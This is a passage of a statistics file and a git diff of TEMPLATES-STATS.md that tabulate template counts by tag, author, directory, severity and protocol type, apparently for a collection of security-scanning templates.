,{"name":"nexusdb","count":1},{"name":"web-dispatcher","count":1},{"name":"ictprotege","count":1},{"name":"wix","count":1},{"name":"alerta","count":1},{"name":"geddy","count":1},{"name":"placeos","count":1},{"name":"macaddresslookup","count":1},{"name":"xamr","count":1},{"name":"roteador","count":1},{"name":"virustotal","count":1},{"name":"citybook","count":1},{"name":"xiuno","count":1},{"name":"sls","count":1},{"name":"avatier","count":1},{"name":"management","count":1},{"name":"richfaces","count":1},{"name":"adoptapet","count":1},{"name":"chinaunicom","count":1},{"name":"dicoogle","count":1},{"name":"gurock","count":1},{"name":"appweb","count":1},{"name":"segment","count":1},{"name":"fastapi","count":1},{"name":"revslider","count":1},{"name":"ethereum","count":1},{"name":"instagram","count":1},{"name":"allied","count":1},{"name":"opentsdb","count":1},{"name":"genie","count":1},{"name":"blockfrost","count":1},{"name":"powertek","count":1},{"name":"pyramid","count":1},{"name":"adafruit","count":1},{"name":"zenrows","count":1},{"name":"dnn","count":1},{"name":"thinkadmin","count":1},{"name":"ntopng","count":1},{"name":"binance","count":1},{"name":"pastebin","count":1},{"name":"spip","count":1},{"name":"front","count":1},{"name":"qsan","count":1},{"name":"zzzphp","count":1},{"name":"securityspy","count":1},{"name":"fanwei","count":1},{"name":"ddownload","count":1},{"name":"webctrl","count":1},{"name":"smartsheet","count":1},{"name":"unisharp","count":1},{"name":"ilo4","count":1},{"name":"xml","count":1},{"name":"fortressaircraft","count":1},{"name":"zuul","count":1},{"name":"vnc","count":1},{"name":"autocomplete","count":1},{"name":"phpwiki","count":1},{"name":"wavemaker","count":1},{"name":"rsa","count":1},{"name":"lob","count":1},{"name":"cron","count":1},{"name":"emessage","count":1},{"name":"calendly","count":1},{"name":"pushgateway","count":1},{"name":"zipkin","count":1},{"name":"tracking","count":1},{"name":"dss","count":1},{"name":"covalent","count":1},{"name":"openvz","count":1},{"name":"currencylayer","count":1},{"name":"mod-proxy","count":1},{"name":"connect-central","count":1},{"name":"memory-pipes","count":1},{"name":"oam","count":1},{"name":"emlog","count":1},{"name":"dapp","count":1},{"name":"comfortel","count":1},{"name":"lfw","count":1},{"name":"scs","count":1},{"name":"abuseipdb","count":1},{"name":"wallix","count":1},{"name":"processwire","count":1},{"name":"kerio","count":1},{"name":"projectdiscovery","count":1},{"name":"phabricator","count":1},{"name":"trane","count":1},{"name":"nette","count":1},{"name":"jupyterhub","count":1},{"name":"intelx","count":1},{"name":"mi","count":1},{"name":"cobub","count":1},{"name":"sauter","count":1},{"name":"bullwark","count":1},{"name":"h5s","count":1},{"name":"getgrav","count":1},{"name":"nearby","count":1},{"name":"xyxel","count":1},{"name":"projector","count":1},{"name":"malshare","count":1},{"name":"tamronos","count":1},{"name":"opensearch","count":1},{"name":"phpminiadmin","count":1},{"name":"flowci","count":1},{"name":"argocd","count":1},{"name":"opsview","count":1},{"name":"microcomputers","count":1},{"name":"unauthenticated","count":1},{"name":"binaryedge","count":1},{"name":"webpconverter","count":1},{"name":"qualcomm","count":1},{"name":"bitrise","count":1},{"name":"trilium","count":1},{"name":"remkon","count":1},{"name":"ptr","count":1},{"name":"tugboat","count":1},{"name":"web3storage","count":1},{"name":"hivemanager","count":1},{"name":"hanming","count":1},{"name":"xenmobile","count":1},{"name":"droneci","count":1},{"name":"aniapi","count":1},{"name":"mofi","count":1},{"name":"commscope","count":1},{"name":"roundcube","count":1},{"name":"ocs-inventory","count":1},{"name":"raspberrymatic","count":1},{"name":"woody","count":1},{"name":"gsoap","count":1},{"name":"arl","count":1},{"name":"guppy","count":1},{"name":"mpsec","count":1},{"name":"ucp","count":1},{"name":"server","count":1},{"name":"serverstatus","count":1},{"name":"rconfig.exposure","count":1},{"name":"myanimelist","count":1},{"name":"viaware","count":1},{"name":"sefile","count":1},{"name":"containers","count":1},{"name":"emerson","count":1},{"name":"hunter","count":1},{"name":"i3geo","count":1},{"name":"finereport","count":1},{"name":"hiboss","count":1},{"name":"maccmsv10","count":1},{"name":"activeadmin","count":1},{"name":"iconfinder","count":1},{"name":"omni","count":1},{"name":"openssl","count":1},{"name":"shibboleth","count":1},{"name":"anchorcms","count":1},{"name":"plc","count":1},{"name":"webui","count":1},{"name":"openerp","count":1},{"name":"gerapy","count":1},{"name":"jnoj","count":1},{"name":"meraki","count":1},{"name":"leostream","count":1},{"name":"syncthru","count":1},{"name":"contentful","count":1},{"name":"route","count":1},{"name":"wordcloud","count":1},{"name":"proxykingdom","count":1},{"name":"zap","count":1},{"name":"workresources","count":1},{"name":"ganglia","count":1},{"name":"tinypng","count":1},{"name":"netweaver","count":1},{"name":"buddy","count":1},{"name":"axxonsoft","count":1},{"name":"mappress","count":1},{"name":"telecom","count":1},{"name":"ip2whois","count":1},{"name":"biometrics","count":1},{"name":"owncloud","count":1}],"authors":[{"name":"daffainfo","count":631},{"name":"dhiyaneshdk","count":584},{"name":"pikpikcu","count":329},{"name":"pdteam","count":269},{"name":"geeknik","count":187},{"name":"dwisiswant0","count":169},{"name":"0x_akoko","count":165},{"name":"princechaddha","count":151},{"name":"ritikchaddha","count":137},{"name":"pussycat0x","count":133},{"name":"gy741","count":126},{"name":"arafatansari","count":79},{"name":"madrobot","count":65},{"name":"zzeitlin","count":64},{"name":"idealphase","count":60},{"name":"akincibor","count":46},{"name":"gaurang","count":42},{"name":"for3stco1d","count":38},{"name":"philippedelteil","count":36},{"name":"adam crosser","count":30},{"name":"c-sh0","count":26},{"name":"ice3man","count":26},{"name":"organiccrap","count":24},{"name":"righettod","count":22},{"name":"ffffffff0x","count":22},{"name":"techbrunchfr","count":21},{"name":"edoardottt","count":17},{"name":"cckuailong","count":17},{"name":"pr3r00t","count":15},{"name":"sullo","count":15},{"name":"sheikhrishad","count":15},{"name":"milo2012","count":14},{"name":"r3dg33k","count":14},{"name":"sharath","count":13},{"name":"0ri2n","count":13},{"name":"tenbird","count":13},{"name":"johnk3r","count":12},{"name":"melbadry9","count":12},{"name":"suman_kar","count":12},{"name":"elsfa7110","count":11},{"name":"wdahlenb","count":11},{"name":"cyllective","count":11},{"name":"random-robbie","count":11},{"name":"dogasantos","count":11},{"name":"hackergautam","count":10},{"name":"tess","count":10},{"name":"nadino","count":10},{"name":"random_robbie","count":10},{"name":"alph4byt3","count":10},{"name":"meme-lord","count":10},{"name":"oppsec","count":9},{"name":"emadshanab","count":9},{"name":"0x240x23elu","count":9},{"name":"aashiq","count":8},{"name":"zh","count":8},{"name":"that_juan_","count":8},{"name":"iamthefrogy","count":8},{"name":"logicalhunter","count":8},{"name":"amit-jd","count":7},{"name":"techryptic (@tech)","count":7},{"name":"caspergn","count":7},{"name":"randomstr1ng","count":7},{"name":"leovalcante","count":7},{"name":"harshbothra_","count":7},{"name":"dr_set","count":7},{"name":"kophjager007","count":7},{"name":"divya_mudgal","count":7},{"name":"pathtaga","count":6},{"name":"evan rubinstein","count":6},{"name":"pentest_swissky","count":6},{"name":"iamnoooob","count":6},{"name":"veshraj","count":6},{"name":"__fazal","count":6},{"name":"forgedhallpass","count":6},{"name":"puzzlepeaches","count":6},{"name":"rootxharsh","count":6},{"name":"_0xf4n9x_","count":6},{"name":"imnightmaree","count":6},{"name":"nullfuzz","count":6},{"name":"praetorian-thendrickson","count":6},{"name":"panch0r3d","count":5},{"name":"yanyun","count":5},{"name":"ganofins","count":5},{"name":"lu4nx","count":5},{"name":"podalirius","count":5},{"name":"joanbono","count":5},{"name":"xelkomy","count":5},{"name":"nodauf","count":5},{"name":"scent2d","count":4},{"name":"h1ei1","count":4},{"name":"defr0ggy","count":4},{"name":"dolev farhi","count":4},{"name":"tanq16","count":4},{"name":"incogbyte","count":4},{"name":"dadevel","count":4},{"name":"r3naissance","count":4},{"name":"e_schultze_","count":4},{"name":"wisnupramoedya","count":4},{"name":"3th1c_yuk1","count":4},{"name":"splint3r7","count":3},{"name":"z3bd","count":3},{"name":"fyoorer","count":3},{"name":"jarijaas","count":3},{"name":"unstabl3","count":3},{"name":"thomas_from_offensity","count":3},{"name":"atomiczsec","count":3},{"name":"andydoering","count":3},{"name":"mr-xn","count":3},{"name":"emenalf","count":3},{"name":"dudez","count":3},{"name":"powerexploit","count":3},{"name":"supras","count":3},{"name":"alifathi-h1","count":3},{"name":"binaryfigments","count":3},{"name":"ph33r","count":3},{"name":"f1tz","count":3},{"name":"_generic_human_","count":3},{"name":"lark-lab","count":3},{"name":"davidmckennirey","count":3},{"name":"shifacyclewala","count":3},{"name":"0w4ys","count":3},{"name":"yash anand @yashanand155","count":3},{"name":"yuzhe-zhang-0","count":3},{"name":"gitlab red team","count":3},{"name":"johnjhacking","count":3},{"name":"lucasljm2001","count":3},{"name":"dr0pd34d","count":3},{"name":"ekrause","count":3},{"name":"its0x08","count":3},{"name":"whoever","count":3},{"name":"mavericknerd","count":3},{"name":"sushantkamble","count":3},{"name":"me9187","count":3},{"name":"impramodsargar","count":3},{"name":"shine","count":3},{"name":"fxploit","count":3},{"name":"arcc","count":3},{"name":"hahwul","count":3},{"name":"skeltavik","count":3},{"name":"cocxanh","count":2},{"name":"manas_harsh","count":2},{"name":"0xcrypto","count":2},{"name":"afaq","count":2},{"name":"dheerajmadhukar","count":2},{"name":"raesene","count":2},{"name":"lotusdll","count":2},{"name":"0xrudra","count":2},{"name":"g4l1t0","count":2},{"name":"ree4pwn","count":2},{"name":"666asd","count":2},{"name":"hackerarpan","count":2},{"name":"cristi vlad (@cristivlad25)","count":2},{"name":"mahendra purbia (mah3sec_)","count":2},{"name":"kre80r","count":2},{"name":"convisoappsec","count":2},{"name":"danielmofer","count":2},{"name":"prajiteshsingh","count":2},{"name":"gevakun","count":2},{"name":"y4er","count":2},{"name":"smaranchand","count":2},{"name":"ajaysenr","count":2},{"name":"n-thumann","count":2},{"name":"sy3omda","count":2},{"name":"dahse89","count":2},{"name":"0xprial","count":2},{"name":"paperpen","count":2},{"name":"v0idc0de","count":2},{"name":"nuk3s3c","count":2},{"name":"ambassify","count":2},{"name":"hetroublemakr","count":2},{"name":"geekby","count":2},{"name":"k11h-de","count":2},{"name":"socketz","count":2},{"name":"sbani","count":2},{"name":"kiblyn11","count":2},{"name":"foulenzer","count":2},{"name":"0xnirvana","count":2},{"name":"swissky","count":2},{"name":"huowuzhao","count":2},{"name":"martincodes-de","count":2},{"name":"0xelkomy","count":2},{"name":"fabaff","count":2},{"name":"moritz nentwig","count":2},{"name":"koti2","count":2},{"name":"zomsop82","count":2},{"name":"thezakman","count":2},{"name":"0xsmiley","count":2},{"name":"joshlarsen","count":2},{"name":"dbrwsky","count":2},{"name":"bananabr","count":2},{"name":"github.com/its0x08","count":2},{"name":"0xsapra","count":2},{"name":"brenocss","count":2},{"name":"rafaelwdornelas","count":2},{"name":"z0ne","count":2},{"name":"clarkvoss","count":2},{"name":"cckuakilong","count":2},{"name":"nvn1729","count":2},{"name":"israel comazzetto dos reis","count":2},{"name":"redteambrasil","count":2},{"name":"codexlynx","count":2},{"name":"thardt-praetorian","count":2},{"name":"bp0lr","count":2},{"name":"paradessia","count":2},{"name":"joeldeleep","count":2},{"name":"w4cky_","count":2},{"name":"gal nagli","count":2},{"name":"bernardofsr","count":2},{"name":"randomrobbie","count":2},{"name":"vsh00t","count":2},{"name":"ehsahil","count":2},{"name":"luci","count":2},{"name":"badboycxcc","count":2},{"name":"myztique","count":2},{"name":"r12w4n","count":2},{"name":"amsda","count":2},{"name":"uomogrande","count":2},{"name":"mohammedsaneem","count":2},{"name":"pxmme1337","count":2},{"name":"taielab","count":2},{"name":"bing0o","count":2},{"name":"parth","count":2},{"name":"nkxxkn","count":2},{"name":"ricardo maia (brainfork)","count":2},{"name":"udit_thakkur","count":2},{"name":"d4vy","count":2},{"name":"vavkamil","count":2},{"name":"bsysop","count":2},{"name":"x1m_martijn","count":2},{"name":"ooooooo_q","count":1},{"name":"push4d","count":1},{"name":"0xceba","count":1},{"name":"compr00t","count":1},{"name":"blckraven","count":1},{"name":"bad5ect0r","count":1},{"name":"_c0wb0y_","count":1},{"name":"bibeksapkota (sar00n)","count":1},{"name":"lixts","count":1},{"name":"elitebaz","count":1},{"name":"anon-artist","count":1},{"name":"schniggie","count":1},{"name":"prettyboyaaditya","count":1},{"name":"mubassirpatel","count":1},{"name":"dawid-czarnecki","count":1},{"name":"majidmc2","count":1},{"name":"soyelmago","count":1},{"name":"sherlocksecurity","count":1},{"name":"w0tx","count":1},{"name":"x6263","count":1},{"name":"rodnt","count":1},{"name":"pdp","count":1},{"name":"xeldax","count":1},{"name":"hexcat","count":1},{"name":"liquidsec","count":1},{"name":"tirtha_mandal","count":1},{"name":"elouhi","count":1},{"name":"2rs3c","count":1},{"name":"djoevanka","count":1},{"name":"arm!tage","count":1},{"name":"0xrod","count":1},{"name":"izn0u","count":1},{"name":"shreyapohekar","count":1},{"name":"retr02332","count":1},{"name":"luskabol","count":1},{"name":"rubina119","count":1},{"name":"iampritam","count":1},{"name":"ratnadip gajbhiye","count":1},{"name":"skylark-lab","count":1},{"name":"miroslavsotak","count":1},{"name":"nielsing","count":1},{"name":"elder tao","count":1},{"name":"yashanand155","count":1},{"name":"ringo","count":1},{"name":"rotemreiss","count":1},{"name":"jteles","count":1},{"name":"amnotacat","count":1},{"name":"undefl0w","count":1},{"name":"twitter.com/dheerajmadhukar","count":1},{"name":"_darrenmartyn","count":1},{"name":"un-fmunozs","count":1},{"name":"mah3sec_","count":1},{"name":"brabbit10","count":1},{"name":"sid ahmed malaoui @ realistic security","count":1},{"name":"thevillagehacker","count":1},{"name":"aaronchen0","count":1},{"name":"absshax","count":1},{"name":"noobexploiter","count":1},{"name":"justmumu","count":1},{"name":"mantissts","count":1},{"name":"phyr3wall","count":1},{"name":"tirtha","count":1},{"name":"jiheon-dev","count":1},{"name":"hakluke","count":1},{"name":"tim_koopmans","count":1},{"name":"ahmed abou-ela","count":1},{"name":"marcos_iaf","count":1},{"name":"c3l3si4n","count":1},{"name":"kr1shna4garwal","count":1},{"name":"s0obi","count":1},{"name":"b4uh0lz","count":1},{"name":"natto97","count":1},{"name":"shelld3v","count":1},{"name":"husain","count":1},{"name":"danigoland","count":1},{"name":"droberson","count":1},{"name":"noraj","count":1},{"name":"thesubtlety","count":1},{"name":"manikanta a.k.a @secureitmania","count":1},{"name":"iphantasmic","count":1},{"name":"furkansayim","count":1},{"name":"elmahdi","count":1},{"name":"unkl4b","count":1},{"name":"ph33rr","count":1},{"name":"aaron_costello (@conspiracyproof)","count":1},{"name":"rotembar","count":1},{"name":"borna nematzadeh","count":1},{"name":"bernardo rodrigues @bernardofsr | andrรฉ monteiro @am0nt31r0","count":1},{"name":"0h1in9e","count":1},{"name":"geraldino2","count":1},{"name":"nytr0gen","count":1},{"name":"ola456","count":1},{"name":"jcockhren","count":1},{"name":"apt-mirror","count":1},{"name":"p-l-","count":1},{"name":"aringo","count":1},{"name":"davidfegyver","count":1},{"name":"hakimkt","count":1},{"name":"nerrorsec","count":1},{"name":"patralos","count":1},{"name":"fopina","count":1},{"name":"whynotke","count":1},{"name":"evolutionsec","count":1},{"name":"zhenwarx","count":1},{"name":"xshuden","count":1},{"name":"th3.d1p4k","count":1},{"name":"failopen","count":1},{"name":"jbaines-r7","count":1},{"name":"xstp","count":1},{"name":"sickwell","count":1},{"name":"mrcl0wnlab","count":1},{"name":"ptonewreckin","count":1},{"name":"shifacyclewla","count":1},{"name":"noamrathaus","count":1},{"name":"berkdusunur","count":1},{"name":"bernardo rodrigues @bernardofsr","count":1},{"name":"infosecsanyam","count":1},{"name":"zinminphy0","count":1},{"name":"alex","count":1},{"name":"0xelkomy \u0026 c0nqr0r","count":1},{"name":"mhdsamx","count":1},{"name":"manasmbellani","count":1},{"name":"regala_","count":1},{"name":"screamy","count":1},{"name":"orpheus","count":1},{"name":"yavolo","count":1},{"name":"j3ssie/geraldino2","count":1},{"name":"erethon","count":1},{"name":"andysvints","count":1},{"name":"ivo palazzolo (@palaziv)","count":1},{"name":"0ut0fb4nd","count":1},{"name":"andirrahmani1","count":1},{"name":"micha3lb3n","count":1},{"name":"charanrayudu","count":1},{"name":"nobody","count":1},{"name":"httpvoid","count":1},{"name":"toufik-airane","count":1},{"name":"_harleo","count":1},{"name":"adrianmf","count":1},{"name":"streetofhackerr007 (rohit soni)","count":1},{"name":"daviey","count":1},{"name":"affix","count":1},{"name":"willd96","count":1},{"name":"daffianfo","count":1},{"name":"jbertman","count":1},{"name":"opencirt","count":1},{"name":"akshansh","count":1},{"name":"d0rkerdevil","count":1},{"name":"luqmaan hadia [luqiih](https://github.com/luqiih)","count":1},{"name":"ilovebinbash","count":1},{"name":"petruknisme","count":1},{"name":"yashgoti","count":1},{"name":"kailashbohara","count":1},{"name":"piyushchhiroliya","count":1},{"name":"arjunchandarana","count":1},{"name":"aresx","count":1},{"name":"alexrydzak","count":1},{"name":"arall","count":1},{"name":"fq_hsu","count":1},{"name":"jeya seelan","count":1},{"name":"ling","count":1},{"name":"matthew nickerson (b0than) @ layer 8 security","count":1},{"name":"kh4sh3i","count":1},{"name":"co0nan","count":1},{"name":"ok_bye_now","count":1},{"name":"juicypotato1","count":1},{"name":"0xceeb","count":1},{"name":"narluin","count":1},{"name":"lark lab","count":1},{"name":"clment cruchet","count":1},{"name":"arr0way","count":1},{"name":"remonsec","count":1},{"name":"makyotox","count":1},{"name":"vzamanillo","count":1},{"name":"j33n1k4","count":1},{"name":"f1she3","count":1},{"name":"sec_hawk","count":1},{"name":"kiks7","count":1},{"name":"gboddin","count":1},{"name":"lamscun","count":1},{"name":"jrolf","count":1},{"name":"zandros0","count":1},{"name":"miryangjung","count":1},{"name":"jas37","count":1},{"name":"paper-pen","count":1},{"name":"official_blackhat13","count":1},{"name":"vinit989","count":1},{"name":"act1on3","count":1},{"name":"aceseven (digisec360)","count":1},{"name":"bywalks","count":1},{"name":"ohlinge","count":1},{"name":"sicksec","count":1},{"name":"ricardomaia","count":1},{"name":"b0yd","count":1},{"name":"oscarintherocks","count":1},{"name":"coldfish","count":1},{"name":"igibanez","count":1},{"name":"dievus","count":1},{"name":"h4kux","count":1},{"name":"maximus decimus","count":1},{"name":"manuelbua","count":1},{"name":"intx0x80","count":1},{"name":"mesaglio","count":1},{"name":"retr0","count":1},{"name":"fmunozs","count":1},{"name":"wabafet","count":1},{"name":"alperenkesk","count":1},{"name":"mass0ma","count":1},{"name":"remi gascou (podalirius)","count":1},{"name":"francescocarlucci","count":1},{"name":"cookiehanhoan","count":1},{"name":"deena","count":1},{"name":"ldionmarcil","count":1},{"name":"true13","count":1},{"name":"hardik-rathod","count":1},{"name":"pratik khalane","count":1},{"name":"bughuntersurya","count":1},{"name":"kurohost","count":1},{"name":"amanrawat","count":1},{"name":"momen eldawakhly","count":1},{"name":"wlayzz","count":1},{"name":"kabirsuda","count":1},{"name":"0xh7ml","count":1},{"name":"alevsk","count":1},{"name":"evan rubinstien","count":1},{"name":"pudsec","count":1},{"name":"florianmaak","count":1},{"name":"philippdelteil","count":1},{"name":"luqmaan hadia","count":1},{"name":"b0rn2r00t","count":1},{"name":"0xtavian","count":1},{"name":"hanlaomo","count":1},{"name":"kishore krishna (sillydaddy)","count":1},{"name":"zsusac","count":1},{"name":"bjhulst","count":1},{"name":"dhiyaneshdki","count":1},{"name":"qlkwej","count":1},{"name":"thebinitghimire","count":1},{"name":"jeya.seelan","count":1},{"name":"duty_1g","count":1},{"name":"kba@sogeti_esec","count":1},{"name":"exid","count":1},{"name":"korteke","count":1},{"name":"knassar702","count":1},{"name":"ggranjus","count":1},{"name":"akash.c","count":1},{"name":"rojanrijal","count":1},{"name":"pjborah","count":1},{"name":"streetofhackerr007","count":1},{"name":"furkansenan","count":1},{"name":"harshinsecurity","count":1},{"name":"notnotnotveg","count":1},{"name":"omarkurt","count":1},{"name":"ipanda","count":1},{"name":"notsoevilweasel","count":1},{"name":"ofjaaah","count":1},{"name":"rschio","count":1},{"name":"revblock","count":1},{"name":"kaizensecurity","count":1},{"name":"yuansec","count":1},{"name":"exceed","count":1},{"name":"flag007","count":1},{"name":"1nf1n7y","count":1},{"name":"pry0cc","count":1},{"name":"open-sec","count":1},{"name":"lethargynavigator","count":1},{"name":"osamahamad","count":1},{"name":"exploitation","count":1},{"name":"5up3r541y4n","count":1},{"name":"ahmed sherif","count":1},{"name":"chron0x","count":1},{"name":"0xd0ff9","count":1},{"name":"becivells","count":1},{"name":"higor melgaรงo (eremit4)","count":1},{"name":"kareemse1im","count":1},{"name":"calumjelrick","count":1},{"name":"s1r1u5_","count":1},{"name":"tea","count":1},{"name":"sshell","count":1},{"name":"udyz","count":1},{"name":"0xteles","count":1},{"name":"luqman","count":1},{"name":"bartu utku sarp","count":1},{"name":"breno_css","count":1},{"name":"ahmetpergamum","count":1}],"directory":[{"name":"cves","count":1407},{"name":"exposed-panels","count":662},{"name":"vulnerabilities","count":509},{"name":"technologies","count":282},{"name":"exposures","count":275},{"name":"misconfiguration","count":237},{"name":"token-spray","count":230},{"name":"workflows","count":189},{"name":"default-logins","count":103},{"name":"file","count":76},{"name":"takeovers","count":68},{"name":"iot","count":39},{"name":"network","count":37},{"name":"cnvd","count":25},{"name":"miscellaneous","count":24},{"name":"dns","count":17},{"name":"fuzzing","count":12},{"name":"headless","count":7},{"name":"ssl","count":5}],"severity":[{"name":"info","count":1474},{"name":"high","count":1009},{"name":"medium","count":818},{"name":"critical","count":478},{"name":"low","count":225},{"name":"unknown","count":11}],"types":[{"name":"http","count":3858},{"name":"file","count":76},{"name":"network","count":51},{"name":"dns","count":17}]} diff --git a/TEMPLATES-STATS.md b/TEMPLATES-STATS.md index 202c85dca8..bdea6b2136 100644 --- a/TEMPLATES-STATS.md +++ b/TEMPLATES-STATS.md @@ -1,1555 +1,1952 @@ -| TAG | COUNT | AUTHOR | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT | TYPE | COUNT | -|----------------------|-------|--------------------------------|-------|------------------|-------|----------|-------|---------|-------| -| cve | 1156 | daffainfo | 560 | cves | 1160 | info | 1192 | http | 3187 | -| panel | 515 | dhiyaneshdk | 421 | exposed-panels | 523 | high | 874 | file | 68 | -| lfi | 461 | pikpikcu | 316 | vulnerabilities | 452 | medium | 662 | network | 50 | -| xss | 367 | pdteam | 262 | technologies | 255 | critical | 414 | dns | 17 | -| wordpress | 364 | geeknik | 179 | exposures | 204 | low | 183 | | | -| exposure | 293 | dwisiswant0 | 168 | misconfiguration | 197 | unknown | 6 | | | -| rce | 291 | princechaddha | 133 | workflows | 186 | | | | | -| cve2021 | 283 | 0x_akoko | 130 | token-spray | 154 | | | | | -| tech | 271 | gy741 | 118 | default-logins | 95 | | | | | -| wp-plugin | 264 | pussycat0x | 116 | file | 68 | | | | | -| cve2020 | 197 | madrobot | 65 | takeovers | 67 | | | | | -| | 188 | zzeitlin | 64 | iot | 38 | | | | | -| token-spray | 154 | idealphase | 47 | network | 35 | | | | | -| joomla | 131 | ritikchaddha | 42 | miscellaneous | 23 | | | | | -| config | 126 | gaurang | 42 | cnvd | 22 | | | | | -| cve2018 | 121 | philippedelteil | 36 | dns | 17 | | | | | -| apache | 120 | adam crosser | 30 | fuzzing | 12 | | | | | -| cve2019 | 118 | ice3man | 26 | headless | 6 | | | | | -| cve2010 | 111 | organiccrap | 24 | ssl | 4 | | | | | -| default-login | 110 | c-sh0 | 23 | | | | | | | -| unauth | 108 | ffffffff0x | 22 | | | | | | | -| iot | 102 | akincibor | 20 | | | | | | | -| oast | 97 | righettod | 18 | | | | | | | -| login | 85 | cckuailong | 17 | | | | | | | -| takeover | 73 | for3stco1d | 16 | | | | | | | -| token | 72 | pr3r00t | 15 | | | | | | | -| redirect | 71 | sheikhrishad | 15 | | | | | | | -| misconfig | 65 | techbrunchfr | 14 | | | | | | | -| cve2017 | 64 | r3dg33k | 14 | | | | | | | -| cve2022 | 63 | milo2012 | 14 | | | | | | | -| sqli | 62 | sharath | 13 | | | | | | | -| ssrf | 61 | suman_kar | 12 | | | | | | | -| file | 60 | sullo | 12 | | | | | | | -| wp | 55 | wdahlenb | 11 | | | | | | | -| network | 53 | melbadry9 | 11 | | | | | | | -| router | 52 | cyllective | 11 | | | | | | | -| oracle | 50 | nadino | 10 | | | | | | | -| disclosure | 45 | alph4byt3 | 10 | | | | | | | -| cve2016 | 45 | meme-lord | 10 | | | | | | | -| plugin | 40 | johnk3r | 10 | | | | | | | -| auth-bypass | 39 | hackergautam | 10 | | | | | | | -| cve2014 | 37 | random_robbie | 10 | | | | | | | -| google | 36 | edoardottt | 9 | | | | | | | -| cve2015 | 36 | emadshanab | 9 | | | | | | | -| cisco | 35 | dogasantos | 9 | | | | | | | -| authenticated | 35 | zh | 8 | | | | | | | -| logs | 33 | that_juan_ | 8 | | | | | | | -| atlassian | 32 | iamthefrogy | 8 | | | | | | | -| injection | 30 | aashiq | 8 | | | | | | | -| listing | 30 | harshbothra_ | 7 | | | | | | | -| jira | 30 | techryptic (@tech) | 7 | | | | | | | -| traversal | 29 | logicalhunter | 7 | | | | | | | -| devops | 28 | 0x240x23elu | 7 | | | | | | | -| generic | 26 | kophjager007 | 7 | | | | | | | -| kubernetes | 25 | divya_mudgal | 7 | | | | | | | -| adobe | 24 | randomstr1ng | 7 | | | | | | | -| springboot | 24 | dr_set | 7 | | | | | | | -| cms | 24 | random-robbie | 7 | | | | | | | -| oss | 24 | oppsec | 7 | | | | | | | -| proxy | 22 | pathtaga | 6 | | | | | | | -| cnvd | 22 | leovalcante | 6 | | | | | | | -| sap | 22 | iamnoooob | 6 | | | | | | | -| microsoft | 21 | rootxharsh | 6 | | | | | | | -| vmware | 21 | caspergn | 6 | | | | | | | -| intrusive | 21 | __fazal | 6 | | | | | | | -| debug | 21 | pentest_swissky | 6 | | | | | | | -| aem | 21 | forgedhallpass | 6 | | | | | | | -| misc | 21 | puzzlepeaches | 6 | | | | | | | -| wp-theme | 20 | evan rubinstein | 6 | | | | | | | -| service | 20 | ganofins | 5 | | | | | | | -| fuzz | 20 | _0xf4n9x_ | 5 | | | | | | | -| manageengine | 19 | xelkomy | 5 | | | | | | | -| cve2012 | 19 | panch0r3d | 5 | | | | | | | -| zoho | 18 | elsfa7110 | 5 | | | | | | | -| php | 18 | imnightmaree | 5 | | | | | | | -| dns | 18 | praetorian-thendrickson | 5 | | | | | | | -| aws | 17 | yanyun | 5 | | | | | | | -| tomcat | 17 | joanbono | 5 | | | | | | | -| weblogic | 17 | lu4nx | 5 | | | | | | | -| deserialization | 17 | podalirius | 5 | | | | | | | -| k8s | 16 | defr0ggy | 4 | | | | | | | -| ibm | 16 | nodauf | 4 | | | | | | | -| struts | 16 | incogbyte | 4 | | | | | | | -| gitlab | 15 | dadevel | 4 | | | | | | | -| jenkins | 15 | tess | 4 | | | | | | | -| dlink | 15 | wisnupramoedya | 4 | | | | | | | -| cve2011 | 15 | dolev farhi | 4 | | | | | | | -| fileupload | 14 | tanq16 | 4 | | | | | | | -| xxe | 14 | e_schultze_ | 4 | | | | | | | -| cve2009 | 14 | h1ei1 | 4 | | | | | | | -| hp | 14 | me9187 | 3 | | | | | | | -| android | 14 | andydoering | 3 | | | | | | | -| java | 14 | shifacyclewala | 3 | | | | | | | -| api | 14 | sushantkamble | 3 | | | | | | | -| ruijie | 13 | f1tz | 3 | | | | | | | -| firewall | 13 | r3naissance | 3 | | | | | | | -| camera | 13 | jarijaas | 3 | | | | | | | -| cve2013 | 12 | emenalf | 3 | | | | | | | -| lfr | 12 | binaryfigments | 3 | | | | | | | -| netsweeper | 12 | z3bd | 3 | | | | | | | -| rails | 12 | whoever | 3 | | | | | | | -| log4j | 12 | impramodsargar | 3 | | | | | | | -| nginx | 12 | johnjhacking | 3 | | | | | | | -| printer | 12 | _generic_human_ | 3 | | | | | | | -| status | 12 | unstabl3 | 3 | | | | | | | -| upload | 11 | yash anand @yashanand155 | 3 | | | | | | | -| netgear | 11 | supras | 3 | | | | | | | -| graphql | 11 | github.com/its0x08 | 3 | | | | | | | -| cnvd2021 | 11 | mr-xn | 3 | | | | | | | -| magento | 11 | fyoorer | 3 | | | | | | | -| glpi | 10 | thomas_from_offensity | 3 | | | | | | | -| grafana | 10 | 0w4ys | 3 | | | | | | | -| spring | 10 | davidmckennirey | 3 | | | | | | | -| jolokia | 10 | dudez | 3 | | | | | | | -| backup | 10 | gitlab red team | 3 | | | | | | | -| auth | 10 | arcc | 3 | | | | | | | -| dell | 10 | shine | 3 | | | | | | | -| fortigate | 10 | veshraj | 3 | | | | | | | -| airflow | 10 | skeltavik | 3 | | | | | | | -| coldfusion | 10 | mavericknerd | 3 | | | | | | | -| github | 9 | alifathi-h1 | 3 | | | | | | | -| jndi | 9 | lark-lab | 3 | | | | | | | -| mirai | 9 | yuzhe-zhang-0 | 3 | | | | | | | -| wso2 | 9 | cocxanh | 2 | | | | | | | -| fastjson | 9 | bananabr | 2 | | | | | | | -| iis | 9 | paperpen | 2 | | | | | | | -| cve2008 | 9 | its0x08 | 2 | | | | | | | -| laravel | 9 | ajaysenr | 2 | | | | | | | -| woocommerce | 9 | smaranchand | 2 | | | | | | | -| fortinet | 9 | dahse89 | 2 | | | | | | | -| zabbix | 9 | 0xcrypto | 2 | | | | | | | -| ftp | 9 | mohammedsaneem | 2 | | | | | | | -| drupal | 9 | 0xsapra | 2 | | | | | | | -| webserver | 9 | pxmme1337 | 2 | | | | | | | -| windows | 9 | nkxxkn | 2 | | | | | | | -| phpmyadmin | 8 | gal nagli | 2 | | | | | | | -| metadata | 8 | nuk3s3c | 2 | | | | | | | -| audit | 8 | z0ne | 2 | | | | | | | -| bypass | 8 | convisoappsec | 2 | | | | | | | -| django | 8 | x1m_martijn | 2 | | | | | | | -| solr | 8 | r12w4n | 2 | | | | | | | -| azure | 8 | swissky | 2 | | | | | | | -| zyxel | 